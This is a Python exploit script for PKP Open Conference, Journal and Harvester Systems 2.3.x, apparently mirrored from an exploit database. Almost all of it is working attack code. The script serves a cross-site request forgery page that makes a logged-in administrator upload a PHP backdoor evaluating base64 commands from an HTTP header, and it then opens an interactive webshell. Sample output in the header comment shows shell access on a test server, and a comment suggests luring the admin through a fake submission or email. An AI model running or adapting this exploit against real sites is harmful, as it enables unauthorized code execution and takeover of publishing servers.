PageRenderTime 41ms CodeModel.GetById 18ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/18266.py

https://bitbucket.org/DinoRex99/exploit-database
Python | 282 lines | 192 code | 13 blank | 77 comment | 12 complexity | 7049775007fd1809e1796472ce3cf0b8 MD5 | raw file
Possible License(s): GPL-2.0
  1. #!/usr/bin/python
  2. #
  3. # Open Conference/Journal/Harvester Systems <= 2.3.X multiple remote code execution vulnerabilities
  4. # vendor_________: Public Knowledge Project (pkp) -http://pkp.sfu.ca/
  5. # software link__: http://pkp.sfu.ca/download
  6. # author_________: mr_me::rwx kru
  7. # email__________: steventhomasseeley!gmail!com
  8. # tested on______: the interwebz & a LAMP stack using all 3 applications :)
  9. #
  10. # Vulnerable applications by pkp:
  11. # - Open Conference Systems <= v2.3.4
  12. # - Open Journal Systems <= v2.3.6
  13. # - Open Harvester Systems <= v2.3.1
  14. #
  15. # Greetz to @kkotowicz, @malerisch and other busticati
  16. #
  17. # References:
  18. # -----------
  19. # http://blog.malerisch.net/2011/12/csrf-file-upload-poc.html
  20. # http://www.html5rocks.com/en/tutorials/file/xhr2/
  21. #
  22. # Description:
  23. # ------------
  24. # PKP has developed free, open source software for the management, publishing, and indexing of journals and conferences.
  25. # Open Journal Systems and Open #Conference Systems increase access to knowledge, improve management, and reduce publishing costs.
  26. # Open Harvester systems allows the creation of #centralized search services on metadata from Open Archives Initiative-compliant databases.
  27. #
  28. # Vuln description:
  29. # -----------------
  30. # There is a few file upload vulnerabilities in the administrative interfaces of these applications that are
  31. # unprotected and allow any peepz to CSRF it. I'm sick of vendors ignoring me on this kind of bug.
  32. #
  33. # Exploit requirement:
  34. # --------------------
  35. # - Find the target conference/journal/archive: just visit http://[target]/[path]/index.php
  36. # It will be a string value in a URI embeded in the page. Just use the first conference/journal/archive, and it will be id 1.
  37. # - You will need to embed the link into the application too and hope the admin gets curious..
  38. # Maybe you could make a 'submission' to the conference, journal or archive entry or send a kind email ;)
  39. # ============================================================================================
  40. # mr_me@gliese:~/$ python ocs_csrf_rce.py -p localhost:8081 -t 192.168.220.134 -d ocs-2.3.4 -P 9090 -s seriousbiz
  41. #
  42. # +==============================================================================================+
  43. # | Open Conference/Journal/Harvester Systems <= 2.3.X csrf/upload/remote code execution exploit |
  44. # | Found by: mr_me |
  45. # +==============================================================================================+
  46. # (+) Testing proxy @ localhost:8081.. proxy is found to be working!
  47. # (+) Listening on local port 9090.
  48. # (+) Have someone connect to you at http://127.0.0.1:9090/
  49. #
  50. # Type <ctrl>-c to exit..
  51. #
  52. # localhost - - [23/Dec/2011 18:15:21] "GET / HTTP/1.1" 200 -
  53. #
  54. # (+) Exploit sent to the client target 127.0.0.1 attacking 192.168.220.134.
  55. # (-) Code injection and execution failed!
  56. # (-) Target client may not logged into the admin interface of Open Systems..!
  57. #
  58. # localhost - - [23/Dec/2011 18:15:39] "GET / HTTP/1.1" 200 -
  59. #
  60. # (+) Exploit sent to the client target 127.0.0.1 attacking 192.168.220.134.
  61. # (!) Code injection worked!
  62. # (!) Launching webshell..!
  63. #
  64. # opensys_shell@192.168.220.134# id
  65. # uid=33(www-data) gid=33(www-data) groups=33(www-data)
  66. #
  67. # opensys_shell@192.168.220.134# uname -a
  68. # Linux steve-web-server 2.6.35-31-generic #62-Ubuntu SMP Tue Nov 8 14:00:30 UTC 2011 i686 GNU/Linux
  69. #
  70. # opensys_shell@192.168.220.134# q
  71. #
  72. # (+) Back to listening..
  73. #
  74. # ^C(-) Exiting Exploit.
  75. #
  76. # .. have a merry christmas & happy new year !
  77. import sys
  78. import urllib
  79. import urllib2
  80. from optparse import OptionParser
  81. from BaseHTTPServer import HTTPServer
  82. from BaseHTTPServer import BaseHTTPRequestHandler
  83. from socket import gethostbyname, gethostname
  84. from time import sleep
  85. from base64 import b64encode
  86. usage = "./%prog [<options>] -t [target] -d [directory]"
  87. usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d ocs-2.3.4 -P 80 -s seriousbiz"
  88. parser = OptionParser(usage=usage)
  89. parser.add_option("-p", type="string",action="store", dest="proxy",
  90. help="HTTP proxy <server:port>")
  91. parser.add_option("-t", type="string", action="store", dest="target",
  92. help="The target server <server:port>")
  93. parser.add_option("-d", type="string", action="store", dest="target_path",
  94. help="Directory path to the Open Conference/Journal/Harvester Systems")
  95. parser.add_option("-s", type="string", action="store", dest="conf_jour_arch",
  96. help="The target conference/journal/archive")
  97. parser.add_option("-P", type="int", action="store", dest="localport",
  98. help="The local port to have the target client connect back on")
  99. (options, args) = parser.parse_args()
  100. # some variables
  101. phpkode = "<?php error_reporting(0); eval(base64_decode($_SERVER[HTTP_HAX])); ?>" # change the code if you want
  102. app_entry_id = "1" # change to the right conference/journal/archive id (default = 1)
  103. app_type = "journals" # (conferences, journals or archives)
  104. def banner():
  105. print ("\n\t| -------------------------------------------------------------------------------------------- |")
  106. print ("\t| Open Conference/Journal/Harvester Systems <= 2.3.4 csrf/upload remote code execution exploit |")
  107. print ("\t| found by mr_me ----------------------------------------------------------------------------- |\n")
  108. def test_proxy():
  109. check = 1
  110. sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
  111. sys.stdout.flush()
  112. try:
  113. req = urllib2.Request("http://www.google.com/")
  114. req.set_proxy(options.proxy,"http")
  115. check = urllib2.urlopen(req)
  116. except:
  117. check = 0
  118. pass
  119. if check != 0:
  120. sys.stdout.write("proxy is found to be working!\n")
  121. sys.stdout.flush()
  122. else:
  123. print ("proxy failed, exiting..")
  124. sys.exit(1)
  125. def submit_request(exploit, header=None, data=None):
  126. try:
  127. if header != None:
  128. headers = {}
  129. headers['Hax'] = header
  130. if data != None:
  131. data = urllib.urlencode(data)
  132. req = urllib2.Request("http://"+exploit, data, headers)
  133. if options.proxy:
  134. req.set_proxy(options.proxy,"http")
  135. check = urllib2.urlopen(req).read()
  136. except urllib.error.HTTPError, error:
  137. check = error.read()
  138. except urllib.error.URLError:
  139. print ("(-) Target connection failed, check your address")
  140. sys.exit(1)
  141. return check
  142. def check_request(req):
  143. req = urllib2.Request("http://"+req)
  144. if options.proxy:
  145. req.set_proxy(options.proxy,"http")
  146. return urllib2.urlopen(req).code
  147. def check_shell():
  148. full_request = options.target + "/" + options.target_path + "/files/" + app_type +"/" + app_entry_id + "/zeitgeist.php"
  149. try:
  150. check_request(full_request)
  151. print ("(!) Code injection worked!")
  152. return True
  153. except:
  154. print ("(-) Code injection and execution failed!")
  155. print ("(-) Target client may not logged into the admin interface of Open Systems..!\n")
  156. return False
  157. return True
  158. def drop_to_shell():
  159. print ("(!) Launching webshell..!")
  160. hn = "\nopensys_shell@%s# " % (options.target)
  161. raw_cmd = ""
  162. while raw_cmd != 'q':
  163. raw_cmd = raw_input(hn)
  164. base64_cmd = b64encode("system(\"%s\");" % raw_cmd)
  165. try:
  166. full_request = options.target + "/" + options.target_path + "/files/" + app_type + "/" + app_entry_id + "/zeitgeist.php"
  167. cmd_response = submit_request(full_request, base64_cmd, "")
  168. except:
  169. print ("(-) Code injection and execution failed!")
  170. print ("(-) Target client may not logged into the admin interface of Open Systems..!\n")
  171. break
  172. print cmd_response.rstrip()
  173. print ("(+) Back to listening..\n")
  174. class myRequestHandler(BaseHTTPRequestHandler):
  175. def do_GET(self):
  176. self.printCustomHTTPResponse(200)
  177. if self.path == "/":
  178. target=self.client_address[0]
  179. self.response = """<html>
  180. <body>
  181. <script>
  182. var target = 'http://[targethost]/[path]/index.php/[app]/index/manager/fileUpload/';
  183. function fileUpload(fileData, fileName) {
  184. var fileSize = fileData.length,
  185. boundary = "---------------------------270883142628617",
  186. uri = target,
  187. xhr = new XMLHttpRequest(),
  188. fileFieldName = "file";
  189. xhr.open("POST", uri, true);
  190. xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary);
  191. xhr.setRequestHeader("Content-Length", fileSize);
  192. xhr.withCredentials = "true";
  193. var body = "";
  194. body += addFileField(fileFieldName, fileData, fileName, boundary);
  195. body += "--" + boundary + "--";
  196. xhr.send(body);
  197. return true;
  198. }
  199. function addFileField(name, value, filename, boundary) {
  200. var c = "--" + boundary + "\\r\\n"
  201. c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\\r\\n';
  202. c += "Content-Type: application/x-httpd-php\\r\\n\\r\\n";
  203. c += value + "\\r\\n";
  204. return c;
  205. }
  206. function start() {
  207. fileUpload("[phpkode]", "zeitgeist.php");
  208. }
  209. start();
  210. </script>
  211. </body>
  212. </html>"""
  213. self.response = self.response.replace("[targethost]",options.target)
  214. self.response = self.response.replace("[path]",options.target_path)
  215. # slight variations..
  216. if app_type == "journals":
  217. self.response = self.response.replace("[app]/index",options.conf_jour_arch)
  218. else:
  219. self.response = self.response.replace("[app]",options.conf_jour_arch)
  220. self.response = self.response.replace("[phpkode]",phpkode)
  221. self.wfile.write(self.response)
  222. print ("\n(+) Exploit sent to the client target %s attacking %s." % (target,options.target))
  223. sleep(2) # let the target get exploited, sheesh.
  224. if check_shell():
  225. drop_to_shell()
  226. def printCustomHTTPResponse(self, respcode):
  227. self.send_response(respcode)
  228. self.send_header("Content-type", "text/html")
  229. self.send_header("Server", "myRequestHandler")
  230. self.end_headers()
  231. def main():
  232. # checks
  233. if len(sys.argv) <= 8:
  234. banner()
  235. parser.print_help()
  236. sys.exit(1)
  237. elif not options.target_path or not options.conf_jour_arch or not options.target:
  238. banner()
  239. parser.print_help()
  240. sys.exit(1)
  241. if not options.localport:
  242. port = 8080
  243. else:
  244. port = int(options.localport)
  245. httpd = HTTPServer(('', port), myRequestHandler)
  246. print (
  247. """\n\t\t+==============================================================================================+
  248. \t| Open Conference/Journal/Harvester Systems <= 2.3.X csrf/upload/remote code execution exploit |
  249. \t| Found by: mr_me |
  250. \t+==============================================================================================+""")
  251. if options.proxy:
  252. test_proxy()
  253. print ("(+) Listening on local port %d." % port)
  254. print ("(+) Have someone connect to you at http://%s:%s/" % (gethostbyname(gethostname()),port))
  255. print ("\nType <ctrl>-c to exit..\n")
  256. try:
  257. httpd.handle_request()
  258. httpd.serve_forever()
  259. except KeyboardInterrupt:
  260. print ("(-) Exiting Exploit.")
  261. sys.exit(1)
  262. if __name__ == "__main__":
  263. main()